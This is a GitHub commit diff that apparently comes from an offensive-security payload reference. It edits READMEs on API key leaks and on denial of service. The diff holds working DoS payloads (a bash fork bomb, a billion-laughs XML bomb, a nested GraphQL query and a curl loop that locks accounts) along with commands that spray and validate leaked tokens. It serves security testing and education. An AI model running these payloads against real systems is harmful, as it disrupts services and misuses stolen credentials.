Skip to content

Commit 04d498a

Browse files
swisskyreposwisskyrepo
committed
XXE - Fix typo
1 parent df8c196 commit 04d498a

File tree

3 files changed

+96
-96
lines changed

3 files changed

+96
-96
lines changed

‎API Key Leaks/README.md

Lines changed: 30 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -5,12 +5,12 @@
55
## Summary
66

77
- [Tools](#tools)
8-
- [Methodology](#exploit)
8+
- [Methodology](#methodology)
99
- [Common Causes of Leaks](#common-causes-of-leaks)
1010
- [Validate The API Key](#validate-the-api-key)
11+
- [Reducing The Attack Surface](#reducing-the-attack-surface)
1112
- [References](#references)
1213

13-
1414
## Tools
1515

1616
- [aquasecurity/trivy](https://github.com/aquasecurity/trivy) - General purpose vulnerability and misconfiguration scanner which also searches for API keys/secrets
@@ -21,26 +21,26 @@
2121
- [streaak/keyhacks](https://github.com/streaak/keyhacks) - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid
2222
- [trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) - Find credentials all over the place
2323
- [projectdiscovery/nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) - Use these templates to test an API token against many API service endpoints
24+
2425
```powershell
2526
nuclei -t token-spray/ -var token=token_list.txt
2627
```
2728
28-
2929
## Methodology
3030
31-
* **API Keys**: Unique identifiers used to authenticate requests associated with your project or application.
32-
* **Tokens**: Security tokens (like OAuth tokens) that grant access to protected resources.
33-
31+
- **API Keys**: Unique identifiers used to authenticate requests associated with your project or application.
32+
- **Tokens**: Security tokens (like OAuth tokens) that grant access to protected resources.
33+
3434
### Common Causes of Leaks
3535
36-
* **Hardcoding in Source Code**: Developers may unintentionally leave API keys or tokens directly in the source code.
36+
- **Hardcoding in Source Code**: Developers may unintentionally leave API keys or tokens directly in the source code.
3737
38-
```py
38+
```py
3939
# Example of hardcoded API key
4040
api_key = "1234567890abcdef"
4141
```
4242
43-
* **Public Repositories**: Accidentally committing sensitive keys and tokens to publicly accessible version control systems like GitHub.
43+
- **Public Repositories**: Accidentally committing sensitive keys and tokens to publicly accessible version control systems like GitHub.
4444
4545
```ps1
4646
## Scan a Github Organization
@@ -50,17 +50,16 @@
5050
docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys --issue-comments --pr-comments
5151
```
5252
53-
* **Hardcoding in Docker Images**: API keys and credentials might be hardcoded in Docker images hosted on DockerHub or private registries.
53+
- **Hardcoding in Docker Images**: API keys and credentials might be hardcoded in Docker images hosted on DockerHub or private registries.
5454
5555
```ps1
5656
# Scan a Docker image for verified secrets
5757
docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest docker --image trufflesecurity/secrets
5858
```
5959
60-
* **Logs and Debug Information**: Keys and tokens might be inadvertently logged or printed during debugging processes.
61-
62-
* **Configuration Files**: Including keys and tokens in publicly accessible configuration files (e.g., .env files, config.json, settings.py, or .aws/credentials.).
60+
- **Logs and Debug Information**: Keys and tokens might be inadvertently logged or printed during debugging processes.
6361
62+
- **Configuration Files**: Including keys and tokens in publicly accessible configuration files (e.g., .env files, config.json, settings.py, or .aws/credentials.).
6463
6564
### Validate The API Key
6665
@@ -80,16 +79,29 @@ patterns:
8079

8180
Use [streaak/keyhacks](https://github.com/streaak/keyhacks) or read the documentation of the service to find a quick way to verify the validity of an API key.
8281

83-
* **Example**: Telegram Bot API Token
82+
- **Example**: Telegram Bot API Token
8483

8584
```ps1
8685
curl https://api.telegram.org/bot<TOKEN>/getMe
8786
```
8887
88+
## Reducing The Attack Surface
89+
90+
Check the existence of a private key or AWS credentials before commiting your changes in a GitHub repository.
91+
92+
Add these lines to your `.pre-commit-config.yaml` file.
93+
94+
```yml
95+
- repo: https://github.com/pre-commit/pre-commit-hooks
96+
rev: v3.2.0
97+
hooks:
98+
- id: detect-aws-credentials
99+
- id: detect-private-key
100+
```
89101

90102
## References
91103

92-
* [Finding Hidden API Keys & How to Use Them - Sumit Jain - August 24, 2019](https://web.archive.org/web/20191012175520/https://medium.com/@sumitcfe/finding-hidden-api-keys-how-to-use-them-11b1e5d0f01d)
93-
* [Introducing SignSaboteur: Forge Signed Web Tokens with Ease - Zakhar Fedotkin - May 22, 2024](https://portswigger.net/research/introducing-signsaboteur-forge-signed-web-tokens-with-ease)
94-
* [Private API Key Leakage Due to Lack of Access Control - yox - August 8, 2018](https://hackerone.com/reports/376060)
95-
* [Saying Goodbye to My Favorite 5 Minute P1 - Allyson O'Malley - January 6, 2020](https://www.allysonomalley.com/2020/01/06/saying-goodbye-to-my-favorite-5-minute-p1/)
104+
- [Finding Hidden API Keys & How to Use Them - Sumit Jain - August 24, 2019](https://web.archive.org/web/20191012175520/https://medium.com/@sumitcfe/finding-hidden-api-keys-how-to-use-them-11b1e5d0f01d)
105+
- [Introducing SignSaboteur: Forge Signed Web Tokens with Ease - Zakhar Fedotkin - May 22, 2024](https://portswigger.net/research/introducing-signsaboteur-forge-signed-web-tokens-with-ease)
106+
- [Private API Key Leakage Due to Lack of Access Control - yox - August 8, 2018](https://hackerone.com/reports/376060)
107+
- [Saying Goodbye to My Favorite 5 Minute P1 - Allyson O'Malley - January 6, 2020](https://www.allysonomalley.com/2020/01/06/saying-goodbye-to-my-favorite-5-minute-p1/)

‎Denial of Service/README.md

Lines changed: 13 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,6 @@
22

33
> A Denial of Service (DoS) attack aims to make a service unavailable by overwhelming it with a flood of illegitimate requests or exploiting vulnerabilities in the target's software to crash or degrade performance. In a Distributed Denial of Service (DDoS), attackers use multiple sources (often compromised machines) to perform the attack simultaneously.
44
5-
65
## Summary
76

87
* [Methodology](#methodology)
@@ -11,27 +10,25 @@
1110
* [Memory Exhaustion - Technology Related](#memory-exhaustion---technology-related)
1211
* [References](#references)
1312

14-
1513
## Methodology
1614

1715
Here are some examples of Denial of Service (DoS) attacks. These examples should serve as a reference for understanding the concept, but any DoS testing should be conducted cautiously, as it can disrupt the target environment and potentially result in loss of access or exposure of sensitive data.
1816

19-
2017
### Locking Customer Accounts
2118

22-
Example of Denial of Service that can occur when testing customer accounts.
19+
Example of Denial of Service that can occur when testing customer accounts.
2320
Be very careful as this is most likely **out-of-scope** and can have a high impact on the business.
2421

2522
* Multiple attempts on the login page when the account is temporary/indefinitely banned after X bad attempts.
23+
2624
```ps1
2725
for i in {1..100}; do curl -X POST -d "username=user&password=wrong" <target_login_url>; done
2826
```
2927
30-
3128
### File Limits on FileSystem
3229
3330
When a process is writing a file on the server, try to reach the maximum number of files allowed by the filesystem format. The system should output a message: `No space left on device` when the limit is reached.
34-
31+
3532
| Filesystem | Maximum Inodes |
3633
| --- | --- |
3734
| BTRFS | 2^64 (~18 quintillion) |
@@ -47,12 +44,12 @@ FAT32 has a significant limitation of **4 GB**, which is why it's often replaced
4744
4845
Modern filesystems like BTRFS, ZFS, and XFS support exabyte-scale files, well beyond current storage capacities, making them future-proof for large datasets.
4946
50-
5147
### Memory Exhaustion - Technology Related
5248
5349
Depending on the technology used by the website, an attacker may have the ability to trigger specific functions or paradigm that will consume a huge chunk of memory.
5450
5551
* **XML External Entity**: Billion laughs attack/XML bomb
52+
5653
```xml
5754
<?xml version="1.0"?>
5855
<!DOCTYPE lolz [
@@ -70,7 +67,9 @@ Depending on the technology used by the website, an attacker may have the abilit
7067
]>
7168
<lolz>&lol9;</lolz>
7269
```
70+
7371
* **GraphQL**: Deeply-nested GraphQL queries.
72+
7473
```ps1
7574
query {
7675
repository(owner:"rails", name:"rails") {
@@ -86,12 +85,17 @@ Depending on the technology used by the website, an attacker may have the abilit
8685
}
8786
}
8887
```
88+
8989
* **Image Resizing**: try to send invalid pictures with modified headers, e.g: abnormal size, big number of pixels.
9090
* **SVG handling**: SVG file format is based on XML, try the billion laughs attack.
9191
* **Regular Expression**: ReDoS
92+
* **Fork Bomb**: rapidly creates new processes in a loop, consuming system resources until the machine becomes unresponsive.
9293
94+
```ps1
95+
:(){ :|:& };:
96+
```
9397
9498
## References
9599
96-
- [DEF CON 32 - Practical Exploitation of DoS in Bug Bounty - Roni Lupin Carta - October 16, 2024](https://youtu.be/b7WlUofPJpU)
97-
- [Denial of Service Cheat Sheet - OWASP Cheat Sheet Series - July 16, 2019](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html)
100+
* [DEF CON 32 - Practical Exploitation of DoS in Bug Bounty - Roni Lupin Carta - October 16, 2024](https://youtu.be/b7WlUofPJpU)
101+
* [Denial of Service Cheat Sheet - OWASP Cheat Sheet Series - July 16, 2019](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html)

0 commit comments

Comments
 (0)